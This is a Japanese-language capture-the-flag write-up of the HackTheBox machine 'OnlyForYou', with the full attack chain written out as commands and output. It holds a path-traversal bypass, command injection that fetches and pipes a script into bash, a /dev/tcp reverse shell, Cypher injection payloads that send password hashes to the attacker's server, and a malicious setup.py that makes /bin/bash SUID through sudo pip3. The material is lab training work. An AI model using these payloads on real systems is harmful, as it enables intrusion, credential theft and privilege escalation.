今回はHackTheBoxのMediumマシン「OnlyForYou」のWriteUpです!
OnlyForYou、、あなたのためだけ、、あまりピンとこないですが、攻略目指して頑張りましょう!
評価も高くグラフもそこまで高いようには見えませんね。
それでもMediumなので油断はできません!
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
OnlyForYou
侵入
それでは、攻略を開始しましょう。
・ポートスキャン
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.210 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_ 256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
いつも通り、22番と80番が確認できました。
・Web探索
では、80番にアクセスしていきましょう。
よくわかりませんが、Only4Youというソフトウェアを提供しているようです。
トップページからは、どこにも遷移できないので、ディレクトリ探索をしてみましょう。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ gobuster dir -u http://only4you.htb -w /usr/share/wordlists/dirb/common.txt -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://only4you.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/05/09 14:28:41 Starting gobuster in directory enumeration mode
===============================================================
Progress: 4604 / 4615 (99.76%)
===============================================================
2023/05/09 14:30:07 Finished
===============================================================
何も出てきません。このドメインから得られるものはなさそうです。
サブドメインが存在するか調査します。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.only4you.htb" -u http://10.10.11.210 -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ '
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.210
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.only4you.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 188ms]
* FUZZ: beta
:: Progress: [151265/151265] :: Job [1/1] :: 222 req/sec :: Duration: [0:11:30] :: Errors: 0 ::
実行の結果「beta」というサブドメインを発見しました。
hostsファイルに記述し、アクセスしてみましょう。
beta siteが表示されました。
Source Codeというボタンがあります。
押してみると、ZIPファイルがダウンロードできるので解凍していきましょう。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ unzip source.zip
Archive: source.zip
creating: beta/
inflating: beta/app.py
creating: beta/static/
creating: beta/static/img/
inflating: beta/static/img/image-resize.svg
creating: beta/templates/
inflating: beta/templates/400.html
inflating: beta/templates/500.html
inflating: beta/templates/convert.html
inflating: beta/templates/index.html
inflating: beta/templates/405.html
inflating: beta/templates/list.html
inflating: beta/templates/resize.html
inflating: beta/templates/404.html
creating: beta/uploads/
creating: beta/uploads/resize/
creating: beta/uploads/list/
creating: beta/uploads/convert/
inflating: beta/tool.py
多くのファイルを確認しましたが、app.pyが気になるので内容を見てみます。
from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg
. . .
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
. . .
いくつかのルーティングが記述してありましたが、その中でもdownloadに注目します。
コードを読むと、imageパラメータで指定されたファイルをダウンロードできることがわかります。
ディレクトリトラバーサルの対策として、「..」を含むファイルと「../」から始まるファイルが指定された場合、攻撃とみなしてlistへリダイレクトするようです。
ちなみに、listの画面は以下のようになっています。
ダウンロードのボタンを押すことで、downloadへのリクエストが送信されていることがBurpSuiteで確認できました。
下記は実際のリクエストです。
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://beta.only4you.htb
Connection: close
Referer: http://beta.only4you.htb/list
Upgrade-Insecure-Requests: 1
image=100x100.png
やはりimageパラメータが使用されています。
今回は対策されているので、imageパラメータを悪用できないかと思いましたが、よくみてみると対策が十分でないことがわかります。
確かに、「..」を含むことと「../」から始まることを除外すれば、充分のように感じます。しかし、ファイル名は「/」から始めることが可能です。
つまり、BurpSuiteで以下のようにパラメータを変更し、リクエストを送ることで、この対策を回避することが可能です。
image=/../../../../../etc/passwd
実際にリクエストを送ると、
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 09 May 2023 13:00:43 GMT
Content-Type: application/octet-stream
Content-Length: 2079
Connection: close
Content-Disposition: attachment; filename=passwd
Last-Modified: Thu, 30 Mar 2023 12:12:20 GMT
Cache-Control: no-cache
ETag: "1680178340.2049809-2079-393413677"
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
出力は多くを省略していますが、passwdファイルを出力させることに成功しました。
この脆弱性を悪用し、さらに情報を列挙していきます。
何も情報が出なかった「only4you.htb」のapp.pyを出力させることができないか色々と試してみます。
問題となるのはディレクトリ名ですが、flaskアプリはアプリ名がディレクトリ名として使用されるので、アプリ名で試してみましょう。
image=/../../../../../var/www/only4you/app.py
only4youと設定し、BurpSuiteでリクエストを送信します。
HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 09 May 2023 14:32:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 197
Connection: close
Location: /list
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiSW1hZ2UgZG9lc24ndCBleGlzdCEiXX1dfQ.ZFpZcw.HHmp-OeaEvHVArXbni1LTSlQsd8; HttpOnly; Path=/
見つからないようです。
困りましたね。どこかにヒントがあったでしょうか。もう少し色々と試してみましょう。
次は、only4you.htbと設定し、BurpSuiteでリクエストを送信します。
image=/../../../../../var/www/only4you.htb/app.py
応答を見てみましょう。
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 09 May 2023 14:34:16 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 1297
Connection: close
Content-Disposition: attachment; filename=app.py
Last-Modified: Mon, 12 Dec 2022 19:27:33 GMT
Cache-Control: no-cache
ETag: "1670873253.537084-1297-2541619842"
・・・
ヒットしました!
コードを確認します。
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
問い合わせのリクエスト処理が記述されています。
各パラメータを受け取ったあと、sendmessageという関数を実行しています。
この関数はformというファイルからインポートしているので、次はformの内容を見てみましょう。
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
sendmessage以外にも、issecureという関数を確認しました。
コードを読んでいくと、上から11行目が目につきました。
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
この部分ですが、10行目で取得したドメインをそのままdigの実行に合わせて使用しています。
入力を制御していないのでコマンドを実行させることができそうです。
シェルを取得したいので、pingが実行できるかを試します。
POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://only4you.htb
Connection: close
Referer: http://only4you.htb/
Upgrade-Insecure-Requests: 1
name=test&email=test@htb.com;ping -c 3 10.10.14.8&subject=test&message=test
セミコロンで2つ目のコマンド実行を狙ういつものパターンです。
用意ができたら、tcpdumpで待ち受けリクエストを送信します。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:00:44.492406 IP only4you.htb > 10.10.14.8: ICMP echo request, id 3, seq 1, length 64
00:00:44.492537 IP 10.10.14.8 > only4you.htb: ICMP echo reply, id 3, seq 1, length 64
00:00:45.378731 IP only4you.htb > 10.10.14.8: ICMP echo request, id 3, seq 2, length 64
00:00:45.378748 IP 10.10.14.8 > only4you.htb: ICMP echo reply, id 3, seq 2, length 64
00:00:46.430755 IP only4you.htb > 10.10.14.8: ICMP echo request, id 3, seq 3, length 64
00:00:46.430774 IP 10.10.14.8 > only4you.htb: ICMP echo reply, id 3, seq 3, length 64
通信が確認できました!
リバースシェルが取得できそうです。
www-dataとしてのシェル
では、リクエストを送信していきましょう。
リクエストを送信する前に、リバースシェルを返すスクリプトを作成しておきます。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ cat bash.sh
bash -i >& /dev/tcp/10.10.14.8/5555 0>&1
スクリプトが作成できたら、サーバを立ち上げます。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
この立ち上げたサーバへcurlを実行し、スクリプトを読み込ませ、そして実行します。
使用するリクエストは下記の通りです。
POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://only4you.htb
Connection: close
Referer: http://only4you.htb/
Upgrade-Insecure-Requests: 1
name=test&email=test%40htb.com;curl+http://10.10.14.8/bash.sh+|+bash&subject=test&message=test
kali側で待ち受け、リクエストを送信します。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.210] 59100
bash: cannot set terminal process group (1011): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$ whoami
whoami
www-data
侵入に成功しました!
横移動
当然www-dataではフラグへの権限がないので、権限移動が必要です。
ユーザの存在を確認するために、ホームディレクトリを見てみましょう。
www-data@only4you:/home$ ls -la
ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 30 11:51 .
drwxr-xr-x 17 root root 4096 Mar 30 11:51 ..
drwxr-x--- 5 dev dev 4096 May 10 12:29 dev
drwxr-x--- 4 john john 4096 Mar 30 11:51 john
passwdファイルでも確認はしていましたが、johnとdevの存在を改めて確認しました。
どちらかのシェルを取得できるよう、列挙を進めていきます。
まずはどちらかのユーザに権限があるファイルの存在を検索しましたが、何も出力されませんでした。
実行されているサービスを確認してみます。
www-data@only4you:~/only4you.htb$ netstat -tulpn | grep LISTEN
netstat -tulpn | grep LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1025/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -
多くのサービスが動いています。
3000番や8001番、7474番、7687番は初めて見るものです。
frp
ローカルホストで動いているので、Webでアクセスすることはできなさそう。。と思われがちですが、frpを使うことでローカルサーバをインターネット上に公開できます。
ngrokも使えるのですが、今回はfrpを使用します。
まずは、frpc.iniファイルを作成します。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ cat frpc.ini
[common]
server_addr = 10.10.14.8
server_port = 7000
[test1]
type = tcp
local_ip = 127.0.0.1
local_port = 3000
remote_port = 3000
[test2]
type = tcp
local_ip = 127.0.0.1
local_port = 7474
remote_port = 7474
[test3]
type = tcp
local_ip = 127.0.0.1
local_port = 7687
remote_port = 7687
[test4]
type = tcp
local_ip = 127.0.0.1
local_port = 8001
remote_port = 8001
iniファイルが作成できたら、wgetを使用し、frpcとiniファイルをマシン上にダウンロードさせます。
www-data@only4you:~/only4you.htb$ wget 10.10.14.8:8000/frpc
wget 10.10.14.8:8000/frpc
--2023-05-11 04:44:15-- http://10.10.14.8:8000/frpc
Connecting to 10.10.14.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12505088 (12M) [application/octet-stream]
Saving to: ‘frpc’
frpc 100%[===================>] 11.93M 1.65MB/s in 9.8s
2023-05-11 04:44:25 (1.21 MB/s) - ‘frpc’ saved [12505088/12505088]
www-data@only4you:~/only4you.htb$ wget 10.10.14.8:8000/frpc.ini
wget 10.10.14.8:8000/frpc.ini
--2023-05-11 04:44:56-- http://10.10.14.8:8000/frpc.ini
Connecting to 10.10.14.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 365 [application/octet-stream]
Saving to: ‘frpc.ini’
frpc.ini 100%[===================>] 365 --.-KB/s in 0s
2023-05-11 04:44:56 (3.71 MB/s) - ‘frpc.ini’ saved [365/365]
frpcを実行する前に、frpsをkali側で実行しておきます
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ ./frps
2023/05/11 13:48:28 [I] [root.go:208] frps uses command line arguments for config
2023/05/11 13:48:29 [I] [service.go:200] frps tcp listen on 0.0.0.0:7000
2023/05/11 13:48:29 [I] [root.go:215] frps started successfully
frpsの実行に成功したら、マシン上でfrpcを実行しましょう。
www-data@only4you:~/only4you.htb$ ./frpc
./frpc
2023/05/11 04:48:37 [I] [service.go:299] [9dd3b4185d0af89c] login to server success, get run id [9dd3b4185d0af89c], server udp port [0]
2023/05/11 04:48:37 [I] [proxy_manager.go:142] [9dd3b4185d0af89c] proxy added: [test1 test2 test3 test4]
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test1] start proxy success
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test2] start proxy success
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test3] start proxy success
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test4] start proxy success
上手く実行できていそうです。
Webでアクセスできるか試しに「127.0.0.1:3000」へアクセスしてみましょう。
アクセスできました!
ほかのポートも見てみましょう。7474番にアクセスします。
Neo4j接続の画面が表示されました。
7687番に接続しようとしましたが、うまくいきませんでした。
最後に8001番にもアクセスしてみましょう。
ログイン画面が表示されましたね。適当に入力してみます。
admin : adminなんかどうでしょう。
ログインに成功しました!
やはり、ローカルのサービスは認証管理が甘いですね。
ダッシュボード内を列挙していきます。どうやら、従業員を検索できる画面があるようです。
adminと入力してみましたが、何も表示されません。
しかし、DBを使用している可能性が高いので、シングルクォーテーションを付けてもう一度検索してみます。
500番エラーが表示されました!今回はNeo4jが使用されているので、Cypherインジェクションが発火しそうです。
しかし、500番エラー時の画面のハンドリングは行われていて、Cypherインジェクションの対策は行われていないというのがおもしろおかしいところではありますね。
Cypherインジェクション
認証情報目指して、Cypherインジェクションを発火させていきます。
使用方法などの詳しい説明はHackTricksで紹介されています。
それでは実際に、発火させていきましょう。
まず初めに、発火した際の結果を受け取るサーバを立ち上げておきます。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
これで準備は万端です。
まずはバージョンを出力させていきましょう。searchパラメータに以下の文字列を入力します。
search=admin' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.8:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
このままリクエストを送信しても何も返ってこないので、URLエンコーディングが必要です。
最終的には下記のようになります。
search=%61%64%6d%69%6e%27%20%4f%52%20%31%3d%31%20%57%49%54%48%20%31%20%61%73%20%61%20%20%43%41%4c%4c%20%64%62%6d%73%2e%63%6f%6d%70%6f%6e%65%6e%74%73%28%29%20%59%49%45%4c%44%20%6e%61%6d%65%2c%20%76%65%72%73%69%6f%6e%73%2c%20%65%64%69%74%69%6f%6e%20%55%4e%57%49%4e%44%20%76%65%72%73%69%6f%6e%73%20%61%73%20%76%65%72%73%69%6f%6e%20%4c%4f%41%44%20%43%53%56%20%46%52%4f%4d%20%27%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%38%3a%38%30%30%30%2f%3f%76%65%72%73%69%6f%6e%3d%27%20%2b%20%76%65%72%73%69%6f%6e%20%2b%20%27%26%6e%61%6d%65%3d%27%20%2b%20%6e%61%6d%65%20%2b%20%27%26%65%64%69%74%69%6f%6e%3d%27%20%2b%20%65%64%69%74%69%6f%6e%20%61%73%20%6c%20%52%45%54%55%52%4e%20%30%20%61%73%20%5f%30%20%2f%2f%20
エンコーディング出来たら、送信しましょう。
500番が返ってきますが、問題ありません。立ち上げたサーバのログを確認してみます。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.210 - - [11/May/2023 14:50:53] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [11/May/2023 14:50:53] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -
バージョン情報が出力されています!
Cypherインジェクションを発火させることが出来たので、認証情報を取得しましょう。
まずは、ラベルを取得します。パラメータは下記のようになります。
search=admin' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.8:8000/?lable='+label as l RETURN 0 as _0 //
先ほどと同じように、エンコーディングし、リクエストを送信します。
同様に500番が返ってきますが、気にせずにログを見てみましょう。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
10.10.11.210 - - [11/May/2023 14:58:45] "GET /?lable=user HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 14:58:46] "GET /?lable=employee HTTP/1.1" 200 -
userとemployeeが出力されました。userには認証情報がありそうです。
キーを出力させましょう。パラメータは下記の通りです。
search=admin' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.8:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
エンコーディング後、送信し、ログを見ましょう。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
10.10.11.210 - - [11/May/2023 15:01:52] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 15:01:52] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 15:01:52] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 15:01:53] "GET /?username=john HTTP/1.1" 200 -
ハッシュ化されていますが、adminとjohnのパスワードが出力されました!
どちらかのパスワードが解読できるかjohnを実行してみます。
johnのパスワードがcrackstationでヒットしました!
johnとしてのシェル
では、SSHでログインしましょう。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ ssh john@10.10.11.210
john@10.10.11.210s password:
john@only4you:~$ whoami
john
横移動に成功しました!
john@only4you:~$ ls -l
total 4
-rw-r----- 1 root john 33 May 11 04:23 user.txt
devユーザへの移動が必要かと思われましたが、フラグを確認できています。
権限昇格
ではここから権限昇格を目指していきましょう。
まずは、sudo -lですね。
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
pip3 downloadがNOPASSWDで実行できるようです。
Googleで調べてみると、悪意のあるパッケージをpip3 downloadすることで任意のコマンドを実行できるようです。
下記は私が参考にさせていただいたサイトです。
記事の内容と記事の中で紹介されているGitHubのコードを参考にし、setup.pyを作成します。
今回もbashにSUIDを付与することを目的とします。
作成したコードは下記の通りです。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou/PipExploit]
└─$ cat setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
os.system("chmod u+s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "exploit",
version = "0.0.1",
license = "MIT",
packages = find_packages(),
cmdclass = {
'install' : RunInstallCommand,
'egg_info' : RunEggInfoCommand
},
)
setup.pyが作成できたら、パッケージを構築します。
┌──(kali㉿kali)-[~/Desktop/OnlyForYou/PipExploit]
└─$ python -m build
* Creating virtualenv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
・・・
ld/bdist.linux-x86_64/wheel' to it
adding 'exploit-0.0.1.dist-info/METADATA'
adding 'exploit-0.0.1.dist-info/WHEEL'
adding 'exploit-0.0.1.dist-info/top_level.txt'
adding 'exploit-0.0.1.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built exploit-0.0.1.tar.gz and exploit-0.0.1-py3-none-any.whl
最終的に、tarファイルとwhlファイルが出来上がりました。
今回使用するのは、tarファイルですが、3000番に配置してあるtarファイルを対象とするようです。
もう一度3000番にアクセスし、ファイルをアップロードすることができないか調査していきましょう。
トップページの右上にSign Inのボタンがありますね。
押してみると、ログイン画面が表示されます。
SSHログインで使用した認証情報で、こちらもログインできないか試してみます。
ログインできました!
ダッシュボードを見てみると、TestというRepositoryがあり、ファイルをアップロードすることが出来そうです。
では、作成したtarファイルをRepositoryにアップロードしていきます。
アップロードできたら、このファイルを指定してpip downloadを実行します
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
ERROR: HTTP error 404 while getting http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz because of error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz because of HTTP error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz for URL http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
あれ、404エラーが出てしまいました。
Web上ではアクセスできるのですが、、、、なぜでしょうか。
10分ほど悩みましたが、リポジトリの鍵マークを見て解決法を思いつきました。
このリポジトリはプライベートリポジトリだったのです。プライベートなのでアクセスできないのは当たり前のことです。
パブリックへと変更できないでしょうか。設定画面を見てみます。
プライベートとパブリックを切り替えるチェックボックスがありました!
最初はチェックがついており、プライベートとなっているので、外しておきます。
外すことで、johnの横にあったマークがカギが外れたような状態になっていますね。
rootとしてのシェル
それでは気を取り直して、もう一度sudoを実行しましょう。
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
Downloading http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz (840 bytes)
Saved ./exploit-0.0.1.tar.gz
Successfully downloaded exploit
ダウンロードに成功しました!
bashにsetuidが設定されていないか確認します。
john@only4you:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
付与されています!bashを実行しましょう!
john@only4you:~$ bash -p
bash-5.0# whoami
root
権限昇格成功です!
bash-5.0# ls -l
total 8
-rw-r----- 1 root root 33 May 11 04:23 root.txt
drwxr-xr-x 2 root root 4096 Mar 30 11:51 scripts
フラグも確認できました!完全攻略です!
攻略を終えて
攻略を振り返って、OnlyForYouはMediumにしては簡単だったかなという印象です。たまたま列挙した部分が当たっていただけかもしれませんが、脆弱性の存在が他のMediumに比べて気付きやすいような気がしました。ただ、最後のプライベートをパブリックにすることに関しては完全に頭から抜けていたのですぐに気付けなかったがことが悔しいです笑。frpやngrokといったツールは開発する際にも使っていたのでその経験が役に立ってよかったです。
今回はパストラバーサルの対策が充分でなかったことが原因となっていました。直接文字で指定する対策の方法は抜け道を通られることが多いので、対策用の関数を使用したり、想定されていないファイルの読みこみを禁止するなどして、確実に対処することが大切ですね。
今後もHTBのWriteUpを投稿していこうと思っているので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!